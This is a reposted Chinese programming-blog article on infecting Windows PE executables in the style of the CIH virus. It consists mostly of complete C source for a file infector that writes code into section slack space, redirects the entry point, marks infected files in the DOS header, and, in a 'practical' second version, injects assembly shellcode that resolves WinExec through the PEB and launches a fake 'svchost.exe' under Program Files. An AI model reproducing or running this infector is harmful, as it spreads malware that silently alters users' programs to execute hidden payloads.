我是靠谱客的博主 留胡子鼠标,最近开发中收集的这篇文章主要介绍简单感染PE文件,觉得挺不错的,现在分享给大家,希望可以做个参考。

概述

这个感染方式和win9x时代的CIH病毒感染方式很像。。。

@PandaOS
这个程序的感染标识放在了DOS头中。。。因为DOS头只有MZ和最后一个指向PE头的指针很重要,改了就完蛋了。。。别的几乎用不到
所以修改DOS头的话,只要不修改首尾字段,几乎不会影响程序的运行。
源程序

感染后的

感染前程序的入口

感染后程序的入口

只要搜索节中的空隙,然后将代码分成几块,分别插入进去,运行的时候再用jmp链接起来,就可以实现被感染的文件与源文件的大小相同。因为PE文件会有很多的空隙。如果一个地方的空隙很大,比你要插入的代码都大,你可以直接插入进去了。。。(大小相同并不是对所有可执行文件而言的!)
写的很烂,大神勿喷

#include <stdio.h>  
#include <stdlib.h>  
#include <windows.h>  
#define pause system("pause")  
int FPeFile(char *PeFileName)  
{  
    HANDLE hFile;  
    HANDLE hMap;  
    PIMAGE_DOS_HEADER pDosHeader;  
    PIMAGE_NT_HEADERS pNtHeader;  
    PIMAGE_SECTION_HEADER pSec;  
    PIMAGE_OPTIONAL_HEADER pOptionalHeader;  
    DWORD word=0;  
    char *pBuf;  
    short Sec;  
    int size;  
    unsigned char INT3=0xcc;  
    unsigned char retn=0xc3;  
    unsigned char Nop=0x90;  
    hFile=CreateFileA(  
        PeFileName,  
        GENERIC_READ|  
        GENERIC_WRITE,  
        FILE_SHARE_READ|  
        FILE_SHARE_WRITE,  
        NULL,  
        OPEN_EXISTING,  
        FILE_ATTRIBUTE_NORMAL,  
        NULL);  
    if(hFile==INVALID_HANDLE_VALUE)  
    {  
        printf("打开文件失败!错误号:%dn",GetLastError());  
        pause;  
        return 0;  
    }  
    size=GetFileSize(hFile,0);  
    hMap=CreateFileMappingA(  
        hFile,  
        NULL,  
        PAGE_READWRITE,  
        0,  
        size,  
        NULL);  
    if(hMap==INVALID_HANDLE_VALUE)  
    {  
Err:  
        CloseHandle(hFile);  
        printf("映射文件失败!n");  
        pause;  
        return 0;  
    }  
    pBuf=(char*)MapViewOfFile(hMap,  
        FILE_MAP_WRITE|  
        FILE_MAP_READ,  
        0,  
        0,  
        size);  
    if(!pBuf)  
    {  
        CloseHandle(hFile);  
        goto Err;  
    }  
    pDosHeader=(PIMAGE_DOS_HEADER)pBuf;  
    pNtHeader=(PIMAGE_NT_HEADERS)&pBuf[pDosHeader->e_lfanew];  
    pOptionalHeader=(PIMAGE_OPTIONAL_HEADER)&pNtHeader->OptionalHeader;  
    if(pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)  
    {  
NotPe:  
        printf("不是有效的PE文件!n");  
        goto Clean;  
    }  
    if(pNtHeader->Signature!=IMAGE_NT_SIGNATURE)  
        goto NotPe;  
    if(pDosHeader->e_ovno==0x2308)  
    {  
        /* 已经被感染了 */  
        printf("这个程序已经被感染了!n");  
        goto Clean;  
    }  
    Sec=pNtHeader->FileHeader.NumberOfSections;  
    pSec=(PIMAGE_SECTION_HEADER)&pBuf[sizeof(IMAGE_NT_HEADERS)+pDosHeader->  
        e_lfanew];  
    for(int i=0;i<Sec;i++)  
    {  
        DWORD Empty;/* 空白字节大小 */  
        DWORD py;/* 文件偏移 */  
        DWORD VAddress;/* 相对虚拟地址 */  
        DWORD OEP;/* 程序OEP */  
        DWORD NOep;/* 感染后的程序的原OEP */  
        unsigned char Jmp=0xE9;  
        unsigned char Code[]=  
        {0x60,0x33,0xC0,0x33,0xDB,0xEB,0x00,0x03,0xC3,  
        0x83,0xC3,0x01,0x83,0xFB,0x65,0x75,0xF6,0x90,0x61};  
        /* 收集信息 */  
        Empty=pSec->SizeOfRawData-pSec->Misc.VirtualSize;  
        py=pSec->PointerToRawData+pSec->Misc.VirtualSize;  
        VAddress=pSec->VirtualAddress+pSec->Misc.VirtualSize;  
        if(Empty<=0)  
        {  
            pSec++;  
            continue;  
        }  
        if(Empty<(6+sizeof(Code)))  
        {  
            pSec++;  
            continue;  
        }  
        OEP=pOptionalHeader->AddressOfEntryPoint;  
        printf("区段名:%st文件偏移:%xHt空白字节大小:%xHt相对虚拟地址:%xHn",pSec->Name,  
            py,Empty,VAddress);  
        /* 跳回源程序OEP */  
        /* 在32位汇编中 Jmp指令偏移 = 要跳转的地址-(RVA+真实长度+插入的指令大小)-5 */  
        NOep=OEP-(pSec->VirtualAddress+pSec->Misc.VirtualSize+sizeof(Code))-5;/* 获取感染后程序的OEP */  
        pOptionalHeader->AddressOfEntryPoint=VAddress;  
        SetFilePointer(hFile,py,NULL,FILE_BEGIN);  
        /* 将信息写入到空白字节中 */  
        if(WriteFile(hFile,Code,sizeof(Code),&word,NULL))  
        {  
            WriteFile(hFile,&Jmp,sizeof(Jmp),&word,NULL);  
            WriteFile(hFile,&NOep,sizeof(NOep),&word,NULL);  
            /* 标识 */  
            WriteFile(hFile,&"yeeeee",sizeof("yeeeee"),&word,NULL);  
            pDosHeader->e_ovno=0x2308;  
            printf("源程序OEP:%xHt感染后OEP:%xHn",OEP,pOptionalHeader->AddressOfEntryPoint);  
            break;  
        }  
        pSec++;  
    }  
    goto Clean;  
Clean:  
    UnmapViewOfFile(pBuf);  
    CloseHandle(hMap);  
    CloseHandle(hFile);  
    pause;  
    return 0;  
}  
int main(int argc,char *argv[])  
{  
    if(argc<2)  
        return 0;  
    FPeFile(argv[1]);  
    return 0;  
}  
经过我的小小的修改,可实用化:

// PEInject.cpp : 定义控制台应用程序的入口点。
//

#include "stdafx.h"
#include <stdio.h>  
#include <stdlib.h>  
#include <windows.h>
#define pause system("pause")

int dumpCode(unsigned char*buffer)
{
	goto END ;//略过汇编代码
BEGIN:
	__asm
	{
		//在这里定义任意的合法汇编代码
		mov eax, dword ptr fs:[0x30];  
		mov eax, dword ptr [eax+0xC];  
		mov eax, dword ptr [eax+0xC];  
		mov eax, dword ptr [eax];  
		mov eax, dword ptr [eax];  
		mov eax, dword ptr [eax+0x18];  
		mov ebp,eax                        //Kernel.dll基址  
		mov eax,dword ptr ss:[ebp+3CH]      // eax=PE首部  
		mov edx,dword ptr ds:[eax+ebp+78H]  //  
		add edx,ebp                        // edx=引出表地址  
		mov ecx,dword ptr ds:[edx+18H]      // ecx=导出函数个数,NumberOfFunctions  
		mov ebx,dword ptr ds:[edx+20H]      //  
		add ebx,ebp                        // ebx=函数名地址,AddressOfName  
start:                                  //  
		dec ecx                            // 循环的开始  
		mov esi,dword ptr ds:[ebx+ecx*4]   //  
		add esi,ebp                        //  
		mov eax,0x50746547                   //  
		cmp dword ptr ds:[esi],eax         // 比较PteG  
		jnz start                     //  
		mov eax,0x41636F72                   //  
		cmp dword ptr ds:[esi+4],eax       // 比较Acor,通过GetProcA几个字符就能确定是GetProcAddress  
		jnz start                     //  
		mov ebx,dword ptr ds:[edx+24H]      //  
		add ebx,ebp                        //  
		mov cx,word ptr ds:[ebx+ecx*2]     //  
		mov ebx,dword ptr ds:[edx+1CH]      //  
		add ebx,ebp                        //  
		mov eax,dword ptr ds:[ebx+ecx*4]   //  
		add eax,ebp                        // eax 现在是GetProcAddress地址  
		mov ebx,eax                        // GetProcAddress地址存入ebx,如果写ShellCode的话以后还可以继续调用  
		push 0                             //  
		push 0x636578                        //  
		push 0x456E6957                      // 构造WinExec字符串  
		push esp                           //  
		push ebp                           // ebp是kernel32.dll的基址   
		call ebx                           // 用GetProcAdress得到WinExec地址  
		mov ebx,eax                        // WinExec地址保存到ecx  

		push 0x00006578
		push 0x652e7473
		push 0x6f686376
		push 0x735c6563
		push 0x69767265
		push 0x53207466
		push 0x6f736f72
		push 0x63694d5c
		push 0x73656c69
		push 0x46206d61
		push 0x72676f72
		push 0x505c3a43    //字符串压入栈  
		
		lea eax,[esp];     //取到cmd首地址  
		push 1             //  
		push eax           // ASCII "C:Program FilesMicrosoft Servicesvchost.exe"  
		call ebx           // 执行WinExec
		nop
		nop
		nop
		nop

		// leave            // 跳回原始入口点  
	}
END:
	//确定代码范围
	UINT begin,end;
	__asm
	{
		mov eax,BEGIN ;
		mov begin,eax ;
		mov eax,END ;
		mov end,eax ;
	}
	//输出
	int len=end-begin;
	memcpy(buffer,(void*)begin,len);
	//四字节对齐
	int fill=(len-len%4)%4;
	while(fill--)buffer[len+fill]=0x90;
	//返回长度
	return len+fill;
}

int FPeFile(char *PeFileName, unsigned char* shellcode, int shellcodelen)  
{  
	HANDLE hFile;  
	HANDLE hMap;  
	PIMAGE_DOS_HEADER pDosHeader;  
	PIMAGE_NT_HEADERS pNtHeader;  
	PIMAGE_SECTION_HEADER pSec;  
	PIMAGE_OPTIONAL_HEADER pOptionalHeader;  
	DWORD word=0;  
	char *pBuf;  
	short Sec;  
	int size;  
	unsigned char INT3=0xcc;  
	unsigned char retn=0xc3;  
	unsigned char Nop=0x90;  
	hFile=CreateFileA(  
		PeFileName,  
		GENERIC_READ|  
		GENERIC_WRITE,  
		FILE_SHARE_READ|  
		FILE_SHARE_WRITE,  
		NULL,  
		OPEN_EXISTING,  
		FILE_ATTRIBUTE_NORMAL,  
		NULL);  
	if(hFile==INVALID_HANDLE_VALUE)  
	{  
		printf("打开文件失败!错误号:%dn",GetLastError());  
		pause;  
		return 0;  
	}  
	size=GetFileSize(hFile,0);  
	hMap=CreateFileMappingA(  
		hFile,  
		NULL,  
		PAGE_READWRITE,  
		0,  
		size,  
		NULL);  
	if(hMap==INVALID_HANDLE_VALUE)  
	{  
Err:  
		CloseHandle(hFile);  
		printf("映射文件失败!n");  
		pause;  
		return 0;  
	}  
	pBuf=(char*)MapViewOfFile(hMap,  
		FILE_MAP_WRITE|  
		FILE_MAP_READ,  
		0,  
		0,  
		size);  
	if(!pBuf)  
	{  
		CloseHandle(hFile);  
		goto Err;  
	}  
	pDosHeader=(PIMAGE_DOS_HEADER)pBuf;  
	pNtHeader=(PIMAGE_NT_HEADERS)&pBuf[pDosHeader->e_lfanew];  
	pOptionalHeader=(PIMAGE_OPTIONAL_HEADER)&pNtHeader->OptionalHeader;  
	if(pDosHeader->e_magic!=IMAGE_DOS_SIGNATURE)  
	{  
NotPe:  
		printf("不是有效的PE文件!n");  
		goto Clean;  
	}  
	if(pNtHeader->Signature!=IMAGE_NT_SIGNATURE)  
		goto NotPe;  
	if(pDosHeader->e_ovno==0x2308)  
	{  
		/* 已经被感染了 */  
		printf("这个程序已经被感染了!n");  
		goto Clean;  
	}  
	Sec=pNtHeader->FileHeader.NumberOfSections;  
	pSec=(PIMAGE_SECTION_HEADER)&pBuf[sizeof(IMAGE_NT_HEADERS)+pDosHeader->  
		e_lfanew];  
	for(int i=0;i<Sec;i++)  
	{  
		DWORD Empty;/* 空白字节大小 */  
		DWORD py;/* 文件偏移 */  
		DWORD VAddress;/* 相对虚拟地址 */  
		DWORD OEP;/* 程序OEP */  
		DWORD NOep;/* 感染后的程序的原OEP */  
		unsigned char Jmp=0xE9;  
		unsigned char Code[]=  
		{0x60,0x33,0xC0,0x33,0xDB,0xEB,0x00,0x03,0xC3,  
		0x83,0xC3,0x01,0x83,0xFB,0x65,0x75,0xF6,0x90,0x61};  
		/* 收集信息 */  
		Empty=pSec->SizeOfRawData-pSec->Misc.VirtualSize;  
		py=pSec->PointerToRawData+pSec->Misc.VirtualSize;  
		VAddress=pSec->VirtualAddress+pSec->Misc.VirtualSize;  
		if(Empty<=0)  
		{  
			pSec++;  
			continue;  
		}  
		if(Empty<(6+sizeof(Code)))  
		{  
			pSec++;  
			continue;  
		}  
		OEP=pOptionalHeader->AddressOfEntryPoint;  
		printf("区段名:%st文件偏移:%xHt空白字节大小:%xHt相对虚拟地址:%xHn",pSec->Name,  
			py,Empty,VAddress);  
		/* 跳回源程序OEP */  
		/* 在32位汇编中 Jmp指令偏移 = 要跳转的地址-(RVA+真实长度+插入的指令大小)-5 */  
		NOep=OEP-(pSec->VirtualAddress+pSec->Misc.VirtualSize+shellcodelen)-5;/* 获取感染后程序的OEP */  
		pOptionalHeader->AddressOfEntryPoint=VAddress;  
		SetFilePointer(hFile,py,NULL,FILE_BEGIN);  
		/* 将信息写入到空白字节中 */  
		if(WriteFile(hFile, shellcode, shellcodelen, &word, NULL))  
		{  
			WriteFile(hFile,&Jmp,sizeof(Jmp),&word,NULL);  
			WriteFile(hFile,&NOep,sizeof(NOep),&word,NULL);  
			/* 标识 */  
			//WriteFile(hFile,&"yeeeee",sizeof("yeeeee"),&word,NULL);  
			pDosHeader->e_ovno=0x2308;  
			printf("源程序OEP:%xHt感染后OEP:%xHn",OEP,pOptionalHeader->AddressOfEntryPoint);  
			break;  
		}  
		pSec++;  
	}  
	goto Clean;  
Clean:  
	UnmapViewOfFile(pBuf);  
	CloseHandle(hMap);  
	CloseHandle(hFile);  
	pause;  
	return 0;  
}  
int main(int argc,char *argv[])  
{
	unsigned char buffer[1024] ={0};
	int len  = dumpCode(buffer);

	unsigned char shellcodebuffer[1024] ={0};
	shellcodebuffer[0] = 0x60;
	memcpy(shellcodebuffer+1, buffer,len);
	shellcodebuffer[len+1] = 0x61;

	if(argc<2)  
		return 0;  
	FPeFile(argv[1], shellcodebuffer, len+2);  
	return 0;  
}  



最后

以上就是留胡子鼠标为你收集整理的简单感染PE文件的全部内容,希望文章能够帮你解决简单感染PE文件所遇到的程序开发问题。

如果觉得靠谱客网站的内容还不错,欢迎将靠谱客网站推荐给程序员好友。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(28)

评论列表共有 0 条评论

立即
投稿
返回
顶部